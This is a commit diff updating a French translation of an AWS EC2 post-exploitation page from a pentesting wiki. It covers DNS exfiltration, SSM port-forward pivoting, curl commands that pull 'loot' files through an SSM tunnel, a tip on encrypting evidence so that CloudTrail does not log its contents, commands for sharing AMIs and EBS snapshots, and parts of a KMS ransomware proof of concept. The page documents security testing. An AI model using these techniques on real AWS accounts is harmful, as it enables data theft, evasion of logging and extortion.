Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-08-18 14:51:36 +00:00
parent 3fd8eb9afd
commit 1b0addd8e5

View File

@@ -60,7 +60,7 @@ aws-ebs-snapshot-dump.md
#### DNS Exfiltration
Même si vous verrouillez un EC2 pour qu'aucun trafic ne puisse sortir, il peut toujours **exfiltrer via DNS**.
Même si vous verrouillez un EC2 pour qu'aucun trafic ne puisse sortir, il peut toujours **s'exfiltrer via DNS**.
- **Les journaux de flux VPC ne l'enregistreront pas**.
- Vous n'avez pas accès aux journaux DNS d'AWS.
@@ -95,8 +95,8 @@ Permissions requises :
- `ssm:StartSession`
En plus de l'exécution de commandes, SSM permet le tunneling de trafic qui peut être abusé pour pivoter à partir d'instances EC2 qui n'ont pas d'accès réseau en raison des groupes de sécurité ou des NACL.
Un des scénarios où cela est utile est le pivotement d'un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé.
En plus de l'exécution de commandes, SSM permet le tunneling de trafic qui peut être abusé pour pivoter depuis des instances EC2 qui n'ont pas d'accès réseau en raison des groupes de sécurité ou des NACL.
Un des scénarios où cela est utile est le pivotement depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé.
> Pour commencer une session, vous devez avoir le SessionManagerPlugin installé : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -120,17 +120,58 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
Notez que les connexions SSL échoueront à moins que vous ne définissiez le drapeau `--insecure-skip-tls-verify` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelé à travers le tunnel sécurisé AWS SSM, vous êtes à l'abri de tout type d'attaques MitM.
Notez que les connexions SSL échoueront à moins que vous ne définissiez le `--insecure-skip-tls-verify` flag (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelé à travers le tunnel sécurisé AWS SSM, vous êtes à l'abri de tout type d'attaques MitM.
Enfin, cette technique n'est pas spécifique à l'attaque des clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée.
### Share AMI
---
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
Si vous avez seulement besoin de transférer **un port TCP depuis l'instance EC2 vers votre hôte local**, vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre d'hôte distant requis) :
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
La commande établit un tunnel bidirectionnel entre votre station de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles de groupe de sécurité entrantes**.
Cas d'utilisation courants :
* **Exfiltration de fichiers**
1. Sur l'instance, démarrez un serveur HTTP rapide qui pointe vers le répertoire que vous souhaitez exfiltrer :
```bash
python3 -m http.server 8000
```
2. Depuis votre station de travail, récupérez les fichiers via le tunnel SSM :
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **Accès aux applications web internes (par exemple, Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Astuce : Compressez et cryptez les preuves avant de les exfiltrer afin que CloudTrail ne consigne pas le contenu en texte clair :
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
### Partager AMI
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### Rechercher des informations sensibles dans les AMIs publiques et privées
### Rechercher des informations sensibles dans des AMIs publiques et privées
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentielles.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel) : CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir d'AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentielles.
### Partager un instantané EBS
```bash
@@ -140,7 +181,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service en raison de la facilité avec laquelle il peut être utilisé pour chiffrer divers services AWS.
Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous allons simplement laisser AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la politique de clé pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la règle de politique permettant tout accès s'appelle 'Outside Encryption'
Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous allons simplement laisser AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la politique de clé pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la règle de politique permettant un accès total s'appelle 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -232,7 +273,7 @@ Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le c
]
}
```
La règle de politique de clé doit avoir les éléments suivants activés pour permettre son utilisation pour chiffrer un volume EBS :
La règle de politique de clé nécessite les éléments suivants activés pour permettre son utilisation pour chiffrer un volume EBS :
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -450,4 +491,8 @@ delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
```
## Références
- [Pentest Partners Comment transférer des fichiers dans AWS en utilisant SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}